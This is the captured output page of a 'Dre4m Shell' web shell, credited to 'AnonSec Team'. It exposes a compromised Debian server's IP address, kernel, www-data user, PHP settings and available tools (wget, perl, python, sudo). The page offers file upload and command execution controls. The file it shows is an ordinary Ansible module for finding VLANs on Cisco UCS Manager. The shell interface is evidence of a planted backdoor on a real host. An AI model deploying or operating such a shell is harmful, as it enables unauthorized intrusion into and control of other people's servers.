Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.12.76.84
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/ansible_collections/cisco/ucs/plugins/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/lib/python3/dist-packages/ansible_collections/cisco/ucs/plugins/modules/ucs_vlan_find.py
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function
__metaclass__ = type

ANSIBLE_METADATA = {'metadata_version': '1.1',
                    'status': ['preview'],
                    'supported_by': 'community'}

DOCUMENTATION = r'''
---
module: ucs_vlan_find
short_description: Find VLANs on Cisco UCS Manager
description:
- Find VLANs on Cisco UCS Manager based on different criteria.
extends_documentation_fragment: cisco.ucs.ucs
options:
  pattern:
    description:
    - Regex pattern to find within the name property of the fabricVlan class.
    - This is required if C(vlanid) parameter is not supplied.
    type: str
  fabric:
    description:
    - "The fabric configuration of the VLAN.  This can be one of the following:"
    - "common - The VLAN applies to both fabrics and uses the same configuration parameters in both cases."
    - "A — The VLAN only applies to fabric A."
    - "B — The VLAN only applies to fabric B."
    choices: [common, A, B]
    default: common
    type: str
  vlanid:
    description:
    - The unique string identifier assigned to the VLAN.
    - A VLAN ID can be between '1' and '3967', or between '4048' and '4093'.
    - This is required if C(pattern) parameter is not supplied.
    type: str
requirements:
- ucsmsdk
author:
- David Martinez (@dx0xm)
- David Soper (@dsoper2)
- John McDonough (@movinalot)
- CiscoUcs (@CiscoUcs)
version_added: '2.9'
'''

EXAMPLES = r'''
- name: Get all vlans in fabric A
  cisco.ucs.ucs_vlan_find:
    hostname: 172.16.143.150
    username: admin
    password: password
    fabric: 'A'
    pattern: '.'
- name: Confirm if vlan 15 is present
  cisco.ucs.ucs_vlan_find:
    hostname: 172.16.143.150
    username: admin
    password: password
    vlanid: '15'
'''

RETURN = r'''
vlan_list:
    description: basic details of vlans found
    returned: on success
    type: list
    sample: [
        {
            "id": "0",
            "name": "vlcloud1"
        }
    ]
'''


from ansible.module_utils.basic import AnsibleModule
from ansible_collections.cisco.ucs.plugins.module_utils.ucs import UCSModule, ucs_argument_spec


def main():
    argument_spec = ucs_argument_spec
    argument_spec.update(
        fabric=dict(type='str', default='common', choices=['common', 'A', 'B']),
        pattern=dict(type='str'),
        vlanid=dict(type='str')
    )

    module = AnsibleModule(
        argument_spec=argument_spec,
        supports_check_mode=True,
        required_one_of=[['pattern', 'vlanid']]
    )

    ucs = UCSModule(module)

    filtls = ['(cloud,"ethlan")']
    if module.params['fabric'] != 'common':
        filtls.append('(switch_id,"' + module.params['fabric'] + '")')
    if module.params['vlanid']:
        filtls.append('(id,"' + module.params['vlanid'] + '")')
    else:
        filtls.append('(name,"' + module.params['pattern'] + '")')

    object_dict = ucs.login_handle.query_classid("fabricVlan", filter_str=' and '.join(filtls))

    if object_dict is None:
        module.fail_json(msg="Failed to query vlan objects")

    vlnlist = []
    for ob in object_dict:
        vlnlist.append(dict(name=ob.name, id=ob.id))

    module.exit_json(changed=False,
                     vlan_list=vlnlist)


if __name__ == '__main__':
    main()

Anon7 - 2022
AnonSec Team